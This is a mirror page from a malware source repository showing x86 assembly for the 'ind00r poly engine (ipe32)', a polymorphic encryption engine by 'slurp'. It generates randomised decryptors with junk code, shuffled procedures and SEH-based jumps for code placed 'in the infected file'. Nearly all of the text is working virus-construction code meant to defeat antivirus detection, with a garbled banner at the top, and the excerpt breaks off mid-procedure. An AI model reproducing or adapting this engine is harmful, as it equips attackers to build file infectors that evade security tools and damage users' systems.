mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
2813 lines
100 KiB
Plaintext
2813 lines
100 KiB
Plaintext
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>ε ind00r poly engine (ipe32) v1.0 final <20><><EFBFBD>ε<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>ε <20><><EFBFBD>ε<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>״ 04.01.01 <20>Ĵ by slurp <20><><EFBFBD>״<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>ε <20><><EFBFBD>ε<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٳ
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
RANDOM_SEED equ 0BABAh * 65536 + 0BABEh
|
|||
|
MAX_POLY_SIZE equ 3072
|
|||
|
; main procedure: ind00r
|
|||
|
; parameters:
|
|||
|
;
|
|||
|
; EAX = size of junk space (in dwords)
|
|||
|
; EDX = address of junk space
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ this is the RVA of an empty space in (un-
|
|||
|
; initialized data or padding space). the junk
|
|||
|
; instructions will write to this area
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; EBX = address of code to decrypt
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ this is the RVA where the encrypted
|
|||
|
; code will be stored in the infected file.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; ECX = size of code to encrypt (in dwords)
|
|||
|
; ESI <20> code to encrypt
|
|||
|
; EDI <20> area >= 2kb to store the decryptor
|
|||
|
;
|
|||
|
; returns: the registers aren't changed except ECX that contains
|
|||
|
; the size of the poly decryptor!
|
|||
|
;
|
|||
|
; NOTE: '<27>' is equal to 'points to'
|
|||
|
;
|
|||
|
; the decryptor constists of junk procedures, decryptor procedures, main
|
|||
|
; loop calling the procedures and finally jump to the start address to the
|
|||
|
; decrypted code.
|
|||
|
ind00r proc
|
|||
|
pushad ; preserve all registers
|
|||
|
call iInit ; initialize poly engine
|
|||
|
ind00r_delta: mov al, JMP_LONG ; write jump to main loop
|
|||
|
stosb ; store opcode
|
|||
|
push edi ; to reloc jmp l8er
|
|||
|
stosd ; store relative offset
|
|||
|
call WriteJunk ; write some junk bytez
|
|||
|
call iGenProcs ; generate procedures
|
|||
|
push edi ; here we want to jump
|
|||
|
call RelLongJmp ; reloc jump to main loop
|
|||
|
or byte ptr [ebp.nojunk-idelta], 0FFh
|
|||
|
call iGenLoop ; generate main loop
|
|||
|
call iSEHJump
|
|||
|
sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size
|
|||
|
mov [esp.PUSHAD_ECX], edi ; ECX = size
|
|||
|
call iEncrypt ; encrypt code!
|
|||
|
popad ; restore all registers
|
|||
|
ret ; return
|
|||
|
ind00r endp
|
|||
|
; main procedure: init
|
|||
|
iInit proc
|
|||
|
; first of all, calculate new delta offset
|
|||
|
mov ebp, [esp]
|
|||
|
add ebp, idelta - offset ind00r_delta ; calculate delta
|
|||
|
; offset
|
|||
|
; now init random seed
|
|||
|
push dword ptr [ebp.RandomConst-idelta]
|
|||
|
pop dword ptr [ebp.RandomSeed-idelta]
|
|||
|
|
|||
|
push edi ; push destination index
|
|||
|
lea edi, [ebp.InitValues-idelta] ; table with init values
|
|||
|
|
|||
|
; let's store parameterz
|
|||
|
stosd ; store size of junk space
|
|||
|
xchg eax, edx
|
|||
|
stosd ; store address of junk space
|
|||
|
xchg eax, ebx
|
|||
|
stosd ; store decrypt rva
|
|||
|
xchg eax, ecx
|
|||
|
stosd ; size of code
|
|||
|
xchg eax, esi
|
|||
|
stosd ; address of code
|
|||
|
|
|||
|
; mix the registers
|
|||
|
lea esi, [ebp.preg-idelta]
|
|||
|
push USED_REGS
|
|||
|
call MixBytes
|
|||
|
|
|||
|
; get number of junk procedures (1 - 5)
|
|||
|
push JUNK_PROCS ; 0 - 3
|
|||
|
call rnd32r
|
|||
|
add al, MIN_PROCS
|
|||
|
mov [ebp.ProcCount-idelta], al ; number of procedures
|
|||
|
|
|||
|
; put the procedures in random order
|
|||
|
lea esi, [ebp.ProcedureOrder-idelta]
|
|||
|
push eax
|
|||
|
call MixBytes
|
|||
|
|
|||
|
; put procedure calls in random order
|
|||
|
lea esi, [ebp.CallOrder1-idelta]
|
|||
|
push CALL_ORDER_1
|
|||
|
call MixBytes
|
|||
|
|
|||
|
lea esi, [ebp.CallOrder2-idelta]
|
|||
|
mov ecx, eax
|
|||
|
sub al, CALL_ORDER_2 + 1
|
|||
|
push eax
|
|||
|
call MixBytes
|
|||
|
|
|||
|
; get random parameter count for each procedure
|
|||
|
lea edi, [ebp.ProcParameters-idelta]
|
|||
|
mov cl, MAX_PROCS
|
|||
|
i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2
|
|||
|
call rnd32r
|
|||
|
sub al, 02h
|
|||
|
jnc i_lamest
|
|||
|
xor eax, eax
|
|||
|
i_lamest: stosb
|
|||
|
loop i_par_loop
|
|||
|
xor eax, eax
|
|||
|
stosb
|
|||
|
|
|||
|
; get random key, encryption & key increment type
|
|||
|
lea edi, [ebp.CryptKey-idelta]
|
|||
|
call rnd32
|
|||
|
stosd ; write key
|
|||
|
call rnd32
|
|||
|
stosd ; write key increment
|
|||
|
push ENC_RND
|
|||
|
call rnd32r
|
|||
|
stosb ; write encryption type
|
|||
|
push KEY_RND
|
|||
|
call rnd32r
|
|||
|
stosb ; write key increment type
|
|||
|
pop edi ; pop destination index
|
|||
|
and word ptr [ebp.InLoop-idelta], 00h
|
|||
|
ret
|
|||
|
iInit endp
|
|||
|
; main procedure: encrypt
|
|||
|
iEncrypt proc
|
|||
|
pushad
|
|||
|
lea esi, [ebp.CryptSize-idelta]
|
|||
|
lodsd ; CryptSize
|
|||
|
xchg eax, ebx
|
|||
|
lodsd ; EncryptRVA
|
|||
|
xchg eax, edi
|
|||
|
lodsd ; CryptKey
|
|||
|
xchg eax, ecx
|
|||
|
lodsd ; KeyIncrement
|
|||
|
xchg eax, edx
|
|||
|
|
|||
|
encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type
|
|||
|
cmp al, ENC_XOR ; XOR encryption?
|
|||
|
jnz ie_not_xor ; no, check next
|
|||
|
xor [edi], ecx ; yes, XOR [preg], key
|
|||
|
ie_not_xor: cmp al, ENC_ADD ; ADD decryption?
|
|||
|
jnz ie_not_add ; no, check next
|
|||
|
sub [edi], ecx ; yes, SUB [preg], key
|
|||
|
ie_not_add: cmp al, ENC_SUB ; SUB decryption?
|
|||
|
jnz ie_not_sub ; no, check next
|
|||
|
add [edi], ecx ; yes, ADD [preg, key
|
|||
|
ie_not_sub: cmp al, ENC_ROL ; ROL decryption?
|
|||
|
jnz ie_not_rol ; no, check next
|
|||
|
ror dword ptr [edi], cl ; rotate dword
|
|||
|
ie_not_rol: cmp al, ENC_ROR ; ROR decryption?
|
|||
|
jnz ie_not_ror ; no, jmp to key increment
|
|||
|
rol dword ptr [edi], cl ; rotate dword
|
|||
|
ie_not_ror: xchg ecx, edx
|
|||
|
mov al, [ebp.KeyIncType-idelta] ; get key increment type
|
|||
|
cmp al, KEY_ROL ; ROL key increment?
|
|||
|
jnz ie_n_rol ; no, check next
|
|||
|
rol edx, cl ; rotate key
|
|||
|
ie_n_rol: cmp al, KEY_ROR ; ROR key increment?
|
|||
|
jnz ie_n_ror ; no, check next
|
|||
|
ror edx, cl ; rotate key
|
|||
|
ie_n_ror: cmp al, KEY_INC ; ADD key increment?
|
|||
|
jnz ie_n_inc ; no, check next
|
|||
|
add edx, ecx ; increment key
|
|||
|
ie_n_inc: cmp al, KEY_DEC ; SUB key increment?
|
|||
|
jnz ie_n_dec ; no
|
|||
|
sub edx, ecx ; decrement key
|
|||
|
ie_n_dec: xchg ecx, edx
|
|||
|
scasd ; increment pointer by 4
|
|||
|
dec ebx
|
|||
|
jnz encrypt_loop
|
|||
|
popad
|
|||
|
ret
|
|||
|
iEncrypt endp
|
|||
|
; main generator: generate procedure body and some junk around the real
|
|||
|
; instructions.
|
|||
|
iGenProcs proc
|
|||
|
; get number of procedures into counter
|
|||
|
movzx ecx, byte ptr [ebp.ProcCount-idelta]
|
|||
|
xor ebx, ebx ; set up another counter that counts from 0
|
|||
|
|
|||
|
; for choosin' procedures
|
|||
|
call rnd32
|
|||
|
xchg dh, al
|
|||
|
|
|||
|
gp_loop: push ecx
|
|||
|
; getting number of current procedure
|
|||
|
push ebx
|
|||
|
movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
|
|||
|
; ID # of 1st procedure
|
|||
|
mov [ebp.CurrentProc-idelta], bl ; for junk gen to
|
|||
|
; identify current proc
|
|||
|
; store procedure address
|
|||
|
mov [ebp.ProcAddress-idelta+4*ebx], edi
|
|||
|
|
|||
|
; get number of parameters
|
|||
|
mov dl, [ebp.ProcParameters-idelta+ebx]
|
|||
|
test dl, dl ; if no parameter,
|
|||
|
jz gp_np_entry ; generate no entry
|
|||
|
; if procedure has parameters we need to set up EBP
|
|||
|
; choose between two (similar) entrys:
|
|||
|
; ENTER 0000h,00h
|
|||
|
; or
|
|||
|
; PUSH EBP
|
|||
|
; MOV EBP, ESP
|
|||
|
test dh, 01h
|
|||
|
jz gp_psh_entry
|
|||
|
xor eax, eax ; no local variables
|
|||
|
mov al, PROC_ENTER ; opcode for enter
|
|||
|
stosd ; store instruction
|
|||
|
jmp gp_np_entry
|
|||
|
gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
|
|||
|
stosd
|
|||
|
dec edi ; wrote 3 bytes
|
|||
|
gp_np_entry: push ebx
|
|||
|
call iProcJunk
|
|||
|
pop ebx
|
|||
|
cmp ebx, JUNK_PROC
|
|||
|
jnb gp_junk_proc
|
|||
|
mov esi, [ebp.Generatorz-idelta+ebx*4]
|
|||
|
add esi, ebp
|
|||
|
push edx
|
|||
|
call esi ; call di generator
|
|||
|
pop edx
|
|||
|
gp_junk_proc: call iProcJunk ; make some junk
|
|||
|
|
|||
|
mov eax, edx
|
|||
|
xor ah, ah
|
|||
|
shl eax, 08h xor 02h ; shift left one byte + * 4
|
|||
|
xor al, PROC_RETP ; generate ret (with params)
|
|||
|
test ah, ah ; do we have parameters?
|
|||
|
jz gp_no_par
|
|||
|
|
|||
|
mov byte ptr [edi], POP_REG or REG_EBP
|
|||
|
test dh, 01h
|
|||
|
jz gp_psh_exit
|
|||
|
xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
|
|||
|
gp_psh_exit: inc edi ; write pop ebp/leave
|
|||
|
|
|||
|
stosd ; store RET opcode (C2h)
|
|||
|
dec edi ; only store 3 bytes
|
|||
|
jmp gp_par
|
|||
|
gp_no_par: inc eax
|
|||
|
stosb ; store RET opcode (C3h)
|
|||
|
|
|||
|
gp_par: call WriteJunk
|
|||
|
|
|||
|
pop ebx
|
|||
|
inc ebx ; increment count
|
|||
|
pop ecx
|
|||
|
loop gp_loop
|
|||
|
ret
|
|||
|
iGenProcs endp
|
|||
|
; generates main loop with some junk between callz.
|
|||
|
iGenLoop proc
|
|||
|
or byte ptr [ebp.InLoop-idelta], 01h
|
|||
|
lea esi, [ebp.CallOrder1-idelta]
|
|||
|
movsx ecx, byte ptr [ebp.ProcCount-idelta]
|
|||
|
or byte ptr [ebp.CurrentProc-idelta], 0FFh
|
|||
|
gl_call_lp: xor eax, eax
|
|||
|
lodsb ; get numbah of proc
|
|||
|
xchg eax, ebx
|
|||
|
inc byte ptr [ebp.CurrentProc-idelta]
|
|||
|
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
|
|||
|
jne gl_yxcmv
|
|||
|
push edi
|
|||
|
gl_yxcmv:
|
|||
|
push ecx
|
|||
|
movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
|
|||
|
push ebx
|
|||
|
test ecx, ecx ; 0 parameterz?
|
|||
|
jz gl_no_par ; don't loop
|
|||
|
gl_push_lp:
|
|||
|
call iPushJunk
|
|||
|
loop gl_push_lp
|
|||
|
gl_no_par:
|
|||
|
pop ebx
|
|||
|
mov edx, [ebp.ProcAddress-idelta+4*ebx]
|
|||
|
mov byte ptr [edi], CALL_DIRECT ; write call opcode
|
|||
|
inc edi
|
|||
|
neg edi
|
|||
|
lea eax, [edx+edi-04h]
|
|||
|
neg edi
|
|||
|
stosd
|
|||
|
pop ecx ; outer loop counter
|
|||
|
loop gl_call_lp
|
|||
|
mov bl, [ebp.creg-idelta] ; generate check if counter
|
|||
|
call gCheckReg ; reg is zero
|
|||
|
mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
|
|||
|
stosw ; generate JNZ
|
|||
|
pop eax
|
|||
|
neg edi
|
|||
|
lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h)
|
|||
|
neg edi
|
|||
|
stosd ; store jump offset
|
|||
|
ret
|
|||
|
iGenLoop endp
|
|||
|
; generate jump to code
|
|||
|
iSEHJump proc
|
|||
|
mov edx, [ebp.DecryptRVA-idelta] ; where to jump after
|
|||
|
; decryption
|
|||
|
|
|||
|
; 1. let's put offset to code on stack
|
|||
|
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz isj_npd
|
|||
|
|
|||
|
; generate PUSH offset CODE
|
|||
|
mov al, PUSH_IMM ; push 32-bit immediate
|
|||
|
stosb
|
|||
|
xchg eax, edx
|
|||
|
stosd ; immediate value
|
|||
|
jmp isj_npd0
|
|||
|
|
|||
|
; load reg with value and push reg
|
|||
|
isj_npd: call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
cmp al, REG_ESP
|
|||
|
je isj_npd
|
|||
|
xchg eax, ebx
|
|||
|
push ebx
|
|||
|
call gLoadReg
|
|||
|
pop eax
|
|||
|
xor al, PUSH_REG
|
|||
|
stosb
|
|||
|
|
|||
|
; 2. let's clear a reg to index fs:[0]
|
|||
|
|
|||
|
isj_npd0: ; get a random register & clear it
|
|||
|
call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
cmp al, REG_ESP
|
|||
|
je isj_npd0
|
|||
|
mov ebx, eax
|
|||
|
call gClearReg
|
|||
|
xchg eax, ecx
|
|||
|
|
|||
|
; 3. put da old handler on stack
|
|||
|
|
|||
|
mov al, OVERRIDE_FS
|
|||
|
stosb
|
|||
|
xor ch, ch
|
|||
|
xor esi, esi
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz isj_dir
|
|||
|
mov bh, OPTYPE_MOV
|
|||
|
call rnd32
|
|||
|
and al, 02h
|
|||
|
add bh, al
|
|||
|
isj_gnr: call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
cmp al, cl
|
|||
|
je isj_gnr
|
|||
|
mov bl, al
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov ah, REG_MEM
|
|||
|
call ciOpRMReg
|
|||
|
xchg eax, ebx
|
|||
|
xor al, PUSH_REG
|
|||
|
stosb
|
|||
|
jmp isj_dir0
|
|||
|
isj_dir: mov al, OP_GROUP5
|
|||
|
stosb
|
|||
|
mov bl, P_PUSH
|
|||
|
call ciCreateOperand
|
|||
|
isj_dir0:
|
|||
|
; 4. now set new handler to ESP
|
|||
|
|
|||
|
mov al, OVERRIDE_FS
|
|||
|
stosb
|
|||
|
mov bx, REG_ESP xor (OPTYPE_MOV * 100h)
|
|||
|
mov ax, OPSIZE_32 xor (MEM_REG * 100h)
|
|||
|
call ciOpRMReg
|
|||
|
|
|||
|
; 5. let's create some junk that causes exception
|
|||
|
|
|||
|
push 03h
|
|||
|
pop ecx
|
|||
|
ex_junk_loop: push ecx
|
|||
|
push OPTYPE_CMP
|
|||
|
call rnd32r
|
|||
|
xchg eax, ebx
|
|||
|
call rnd32
|
|||
|
test al, 01h
|
|||
|
jz isj_suck
|
|||
|
mov bh, bl
|
|||
|
call rnd32
|
|||
|
and al, REG_EDI
|
|||
|
mov bl, al
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
mov ah, MEM_REG
|
|||
|
call ciOpRMReg
|
|||
|
jmp isj_suck0
|
|||
|
isj_suck: call rnd32
|
|||
|
xchg eax, edx
|
|||
|
push 03h
|
|||
|
call rnd32r
|
|||
|
call ciOpRMImm
|
|||
|
|
|||
|
isj_suck0: pop ecx
|
|||
|
loop ex_junk_loop
|
|||
|
ret
|
|||
|
iSEHJump endp
|
|||
|
; load start RVA into pointer register
|
|||
|
iProcLdPtr proc
|
|||
|
mov edx, [ebp.DecryptRVA-idelta]
|
|||
|
mov bl, [ebp.preg-idelta]
|
|||
|
jmp gLoadReg
|
|||
|
iProcLdPtr endp
|
|||
|
; load size into counter register
|
|||
|
iProcLdCnt proc
|
|||
|
mov edx, [ebp.CryptSize-idelta]
|
|||
|
mov bl, [ebp.creg-idelta]
|
|||
|
jmp gLoadReg
|
|||
|
iProcLdCnt endp
|
|||
|
; load key into key register
|
|||
|
iProcLdKey proc
|
|||
|
mov edx, [ebp.CryptKey-idelta]
|
|||
|
mov bl, [ebp.kreg-idelta]
|
|||
|
jmp gLoadReg
|
|||
|
iProcLdKey endp
|
|||
|
; decrypt data word
|
|||
|
iProcDecData proc
|
|||
|
mov cl, [ebp.preg-idelta] ; operand = ptr reg
|
|||
|
call rnd32 ; get random bit
|
|||
|
mov bl, 08h
|
|||
|
cmp byte ptr [ebp.CryptType-idelta], ENC_SUB
|
|||
|
jbe dd_not_chk_ecx
|
|||
|
cmp cl, REG_ECX
|
|||
|
jne dd_not_chk_ecx
|
|||
|
or al, 01h ; set 1st bit
|
|||
|
dd_not_chk_ecx:
|
|||
|
test al, 01h ; is it zero?
|
|||
|
jz blaaah ; yes, use direct encryption
|
|||
|
|
|||
|
; create MOV/XCHG junkreg, [preg] (indirect encryption)
|
|||
|
|
|||
|
dd_get_jnk_reg: call iGetJunkReg
|
|||
|
cmp al, REG_ECX ; is it ECX?
|
|||
|
je dd_get_jnk_reg ; yes, use other junk reg
|
|||
|
mov bl, al
|
|||
|
xor al, MOD_REG
|
|||
|
push eax ; push code reg for later use
|
|||
|
mov bh, OPTYPE_MOV ; generate MOV
|
|||
|
call rnd32 ; random numbah
|
|||
|
and al, 02h
|
|||
|
add bh, al ; zero, use MOV
|
|||
|
; non-zero, use XCHG
|
|||
|
xor esi, esi ; no displacement
|
|||
|
mov al, OPSIZE_32 ; dword, of course
|
|||
|
mov ah, REG_MEM ; from memory to register
|
|||
|
call ciOpRMReg
|
|||
|
pop ecx
|
|||
|
call iBlockJunkAR
|
|||
|
blaaah:
|
|||
|
; test for encryption type
|
|||
|
mov al, [ebp.CryptType-idelta]
|
|||
|
cmp al, ENC_XOR
|
|||
|
jnz dd_not_xor
|
|||
|
mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg
|
|||
|
dd_not_xor: cmp al, ENC_ADD
|
|||
|
jnz dd_not_add
|
|||
|
mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg
|
|||
|
dd_not_add: cmp al, ENC_SUB
|
|||
|
jnz dd_not_sub
|
|||
|
mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg
|
|||
|
|
|||
|
dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg
|
|||
|
push ecx
|
|||
|
mov al, OPSIZE_32
|
|||
|
mov ah, MEM_REG
|
|||
|
mov bl, [ebp.kreg-idelta]
|
|||
|
xor ch, ch
|
|||
|
xor esi, esi
|
|||
|
call ciOpRMReg
|
|||
|
jmp dd_exit
|
|||
|
|
|||
|
|
|||
|
dd_rotate: push ecx ; code reg/pointer reg
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
|
|||
|
; we'll generate
|
|||
|
;
|
|||
|
; shift on [preg]:
|
|||
|
;
|
|||
|
; push ecx (only if kreg <> ECX)
|
|||
|
; mov ecx, kreg ( " " " " " )
|
|||
|
; ror [preg], cl (rol/ror)
|
|||
|
; pop ecx (only if kreg <> ECX)
|
|||
|
;
|
|||
|
;
|
|||
|
; shift on junkreg: (this variant is forced if preg = ECX)
|
|||
|
;
|
|||
|
; mov junkreg, [preg] (xchg/mov)
|
|||
|
; push ecx (only if kreg <> ECX)
|
|||
|
; mov ecx, kreg
|
|||
|
; ror junkreg, cl (rol/ror)
|
|||
|
; pop ecx
|
|||
|
; mov [preg], junkreg (xchg/mov)
|
|||
|
;
|
|||
|
; junkreg must not be ECX
|
|||
|
|
|||
|
mov al, [ebp.kreg-idelta] ; load key register
|
|||
|
|
|||
|
cmp al, REG_ECX ; ECX?
|
|||
|
jz dd_no_push ; yes, no need to push ecx
|
|||
|
|
|||
|
or al, MOD_REG
|
|||
|
xchg eax, ecx
|
|||
|
|
|||
|
push REG_ECX
|
|||
|
call iIsJReg
|
|||
|
cmp eax, 0FFFFFFFFh
|
|||
|
jnz dd_ecx_isj
|
|||
|
|
|||
|
mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX
|
|||
|
stosb ; store opcode
|
|||
|
pop ebx
|
|||
|
call iBlockJunkAR
|
|||
|
push ebx
|
|||
|
dd_ecx_isj: xchg eax, edx
|
|||
|
|
|||
|
mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
|
|||
|
call rnd32
|
|||
|
mov al, OPSIZE_32
|
|||
|
and ah, REG_MEM
|
|||
|
jnz dd_nxchg
|
|||
|
xchg bl, cl
|
|||
|
dd_nxchg:
|
|||
|
call ciOpRMReg ; generate mov ecx, kreg
|
|||
|
|
|||
|
dd_askdjh: call iGetJunkReg
|
|||
|
pop ebx
|
|||
|
push ebx
|
|||
|
and ebx, REG_EDI
|
|||
|
cmp eax, ebx
|
|||
|
je dd_askdjh
|
|||
|
cmp al, REG_ECX
|
|||
|
